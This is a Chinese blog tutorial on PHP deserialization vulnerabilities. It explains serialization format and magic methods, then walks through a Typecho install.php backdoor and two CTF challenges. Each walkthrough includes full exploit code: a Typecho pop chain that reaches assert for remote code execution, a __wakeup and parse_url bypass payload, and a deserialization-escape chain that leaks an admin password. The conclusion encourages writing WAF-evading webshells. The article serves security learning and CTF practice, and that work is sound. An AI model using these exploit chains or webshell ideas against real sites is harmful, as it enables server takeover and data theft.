0%

浅谈php反序列化

前言


php是这个语言是世界上最好的语言( 滑稽 )。php的反序列化也可以说是漏洞众多了,因为它的使用,爆出了很多知名cms的通杀漏洞。而且因为用的人多,所以在其他小众cms中还有很多未被发现的反序列化漏洞,另外CTF中php的反序列化也是常考点,所以这篇来简单讲一下php的反序列化漏洞。当然java的反序列化问题也不少,以后有时间会写java的。

php反序列化漏洞的核心


其实php反序列化的核心在于两点:

  • 用户可控的反序列化输入点
  • 可利用的危险函数

可控输入点构造利用可利用的危险函数,听起来很简单,但是用的时候又是另一回事。
比如商用cms,总是模块化开发,可控点可能全局搜索下就知道了,但是可利用函数要不没有、要不就需要翻找可控点调用的其他的类,而其他类又调用了其他类,这像个递归(哈哈)。所以必须很熟悉某套cms才可能挖到某个cms的漏洞。
而ctf比赛中,一般是能让你一眼就看出反序列化的可控点和危险利用的函数。但是总是需要绕过一些东西,比如wakeup中的waf、parse_url的绕过、变量覆盖、结合ssrf等其他的知识点。
所以php反序列化是一个原理非常简单、但是玩儿起来还是略微有点困难的东西。

php反序列化的基础知识


在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。这是php反序列化的用处。很多需要存储和传输的东西如果不方便传输(比如对象)我们就会进行序列化后操作。所以我们寻找反序列化就要站在开发的角度思考什么时候用到序列化?另外我们渗透测试过程中看到序列化完的参数在我们抓取的包中传递,那么也应该警觉反序列化漏洞。
先来看一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
class dog{
public $dog_name;
public function dog_move($dog_action)
{
echo $dog_action;
}
}
$a = new dog();
$a->dog_name="jim";
$a->dog_move("wang ~");
echo serialize($a);

结果:

1
O:3:"dog":1:{s:8:"dog_name";s:3:"jim";} //这就是上面的dog的一个实例序列化的字符串

各个缩写的含义

1
2
3
4
5
6
7
8
9
10
11
12
a - array  
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

好了反序列化形成的字符串看明白了,但是序列化反序列化还有一些魔术方法我们也需要学习:

  • __wakeup() 当序列化时调用 serialize
  • __construct(): 当一个类被创建时自动调用
  • __destruct(): 当一个类被销毁时自动调用
  • __invoke(): 当把一个类当作函数使用时自动调用
  • __tostring(): 当把一个类当作字符串使用时自动调用
  • __wakeup(): 当调用unserialize()函数时自动调用
  • __sleep(): 当调用serialize()函数时自动调用
  • __call(): 当要调用的方法不存在或权限不足时自动调用
  • __get() 用于从不可访问的属性读取数据
  • __set() 用于将数据写入不可访问的属性
  • __isset() 在不可访问的属性上调用isset()或empty()触发
  • __unset() 在不可访问的属性上使用unset()时触发

然后我们需要知道一点骚技巧:

  • 序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
  • 反序列化结合phar file等伪协议进行的文件读取和上传shell的操作
  • 反序列化完的字符串各类型可见字符串长度与所显示类型长度不匹配时,注意%00非打印字符的问题 非常常见!
  • 如果在destruct()函数在反序列化触发时,有文件引入,反序列化时需要使用文件的绝对路径,因为destruct在反序列化触发时的工作目录在php根目录。
  • 通常反序列化字段在部分可控时会用到反序列化逃逸技巧,不过只在CTF中见过,通过指定字符长度来逃逸,防止参数被当作字符串处理,比较常见的就是waf替换来绕过长度。详情参考0CTF-2016-piapiapia。

php反序列化的例子

Typecho反序列化漏洞导致前台getshell

前段时间Typecho的一个后门,利用了反序列化来隐藏,利用链长度属于中等吧,大家都可以看着跟一下,非常适合入门。

install.php文件里面有个后门
229~235行代码如下:

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); //关键控制点
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']); //这里后面也会用到
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

代码分析发现上述代码的触发条件有两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

首先$_GET[‘finish’]不为空,很好满足,其次host需要是本站地址也很好满足,所以可实现。

那么__typecho_config是需要我们控制的反序列化点,那么这个我们能不能控制呢?直接看获取__typecho_config的get函数

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

上面代码中可以看到$_COOKIE为空时我们直接POST数据即可控制__typecho_config,然后我们就需要找到危险函数来进行触发。
经过全局搜索(当然过程肯定很麻烦,各种危险函数和魔术方法都要过一遍)发现Feed.php文件的__toString() 方法的290行左右代码如下:

1
2
3
4
5
6
7
8
9
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
//下面的代码不重要
}

我们通过基础知识点得知 当把一个类当作字符串使用时自动调用toString方法,而上面的install.php文件的232行有一行这样的代码:

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

这里, 跟进Typecho_Db, 有一行代码是:

1
$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;

这里的$adapterName就对应着config里面的adapter,这里用了拼接操作,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,所以就会触发传进来的这个类的__toString方法。所以adapter设置为一个类,那么就可以触发这个类的toString()方法。现在我们返回上面Feed.php的__tostring 。
其中调用了$item[‘author’]->screenName,$item是$this->items的foreach循环出来的,并且$this->items是Typecho_Feed类的一个private属性。所以我们可以利用这个$item来调用某个类的get()方法,上面说过get()方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName属性,如果我们给$item[‘author’]设置的类中没有screenName就会执行该类的get()方法,我们继续来全局搜索一下get()方法。
/var/Typecho/Request.php中有可利用的__get()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//get方法如下
public function __get($key)
{
return $this->get($key);
}
//下面时上面get方法代码调用的get方法
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

上述代码最后一行发现 $this->_applyFilter($value);:

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

可以看到 call_user_func 危险函数,它在传入参数$value不是数组的时候调用,array_map 在传入参数$value是数组的时候调用。所以利用链就明确了:直接构造一个数组 键值为 assert phpinfo
payload如下(参考了网上的payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;

public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
php反序列化在CTF中的玩儿法

PS:忘记是哪个CTF了,反正做了一天才做出来,可能还是自己太菜。
index.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

其中file 是我们传入的参数,可利用文件包含进行文件读取(这里讲序列化就不讲这部分了),但是因为参数不能包含flag关键字,所以我们不能直接读取flag。另外我们也知道了index.php会对我们传入的payload参数调用parse_url函数进行解析,然后对我们得每个参数进行正则匹配,匹配到flag就直接退出,这里肯定需要技巧绕过的。我们先看提示的hint.php
hint.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php   
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

我们一眼就可以看出getFlag()函数是我们需要利用的点。而handle类调用了getFlag,但是因为handle类还有一个wakeup魔术方法,这个方法会把我们的参数全部设置为null,所以我们要绕过wakeup。通过上面写的php发序列化的基础知识我们知道:

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以wakeup很好绕过,现在需要想怎么绕过index.php中的parse_url,通过网上找资料我们可以知道:

parse_url函数在解析url时存在的bug通过:///x.php?key=value的方式可以使其返回False
PS:详细内容参考一叶飘零师傅的blog —– https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

现在两个问题都解决了,但是还有一个问题Flag类中有两个md5(rand(1,10000)),它们生成token和token_flag。其中Flag类的__constuct在我们序列化的时候就会触发并赋值一个token_flag=token=MD5(rand(1,10000))。当我们进行反序列化利用getFlag函数的时候,getFlag函数会赋值token_flag=md5(rand(1,10000)),只有这个token_flag和我们一开始传入的token一致才能触发getFlag的读取文件操作。而按照我们的常识来说这是不可能碰撞成功的(因为服务端的token_flag每次都会变)。
那么这个问题怎么解决呢?—————- 可以用php的引用赋值来绕过。比如:
$test_a = 10;
$test_b = &a;
$test_c=$test_a+10;
最后$test_b的值为20 因为$test_b 指向的是$test_a的地址,所以$test_a是多少$test_b也是多少。
现在我们来构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$b = new Flag("flag.php"); //创建时会调用 __construct__ 此时 $this->token_flag = $this->token = md5(rand(1,10000));
$b->token=&$b->token_flag; //这里把token的值和token_flag的值绑在一起了。这样反序列化时$this->token_flag变化token也跟着变化
$a = new Handle($b);
echo serialize($b);
?>

最终传入payload:

1
?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"85f3375756047fba207ce9b85780313b";s:10:"token_flag";R:4;}} //注意s:140x00不可见字符,所以需要补%00,从字符长度也可看出异常。另外Handle:2 是为了绕过waf。

i春秋的公益赛返序列化利用链

www.zip直接源码泄露进行审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

从update.php可以知道登录的用户可以打到flag,但是我们不知道admin的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

从lib.php中可以看到反序列化可控点在nickname,但只是部分可控,由于safe安全waf的替换,很容易想起0CTF-2016-piapiapia题目的反序列化逃逸,触发点应该在update函数中,我们需要通过反序列化逃逸来进行触发pop利用链。利用链为:

UpdateHelper类被反序列化完成时会触发

1
2
3
4
public function __destruct()
{
echo $this->sql;
}

echo 是打印字符,如果我们把$this->sql 赋值为user对象,那么就可以触发user对象的__tostring

1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

如果nickname的值赋值为Info类实例化后的对象,因为info没有update方法,所以会调用__call魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

如果把info类实例化的对象的CtrlCase值赋值为dbCtrl类实例化的对象就可以直接调用login执行查询函数,注意 __call 函数 一般就是两个参数 第一个参数$name是调用的不存在的函数名,第二个参数$argument是不存在函数调用时传递的参数组 这里的argument[0]就是$this->age。所以把$this->age赋值为sql查询语句即可查询出admin的密码并打印出来。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

}

class User
{
public $id;
public $age=null;
public $nickname=null;

}

class Info{
public $age;
public $nickname;
public $CtrlCase;
}

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="gz110351";
public $database="user";
public $name="admin";
public $password;
public $mysqli;
public $token="admin";
}

$test_UpdateHelper = new UpdateHelper();
$test_user = new User();
$test_info = new Info();
$test_dbCtrl = new dbCtrl();

$test_info->CtrlCase=$test_dbCtrl;
$test_user->nickname=$test_info;
$test_user->age = "select password,id from user where username=?";
$test_UpdateHelper->sql = $test_user;

echo serialize($test_UpdateHelper);

反序列化后的结果,要加上 “;s:8:”CtrlCase”;+payload+} 因为我们只能控制部分,而代码在序列化时就会标明有三个属性,我们也要保持三个属性,否则不能反序列化成功。另外反序列化以字节数生命和 ; } 作为终止符,所以最后加 } 来过滤掉后续生成的 s:8:”CtrlCase”; 最后根据这个payload的字符数,我们需要在nickname中插入足量的黑名单字符,把payload挤出来,使得它可以被正常发序列化触发。

结语

php的反序列化最重要的还是利用链的构造,当然这也是最难的部分。
另外php反序列化可以写各种过狗马,大家可以自己去玩儿玩儿。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」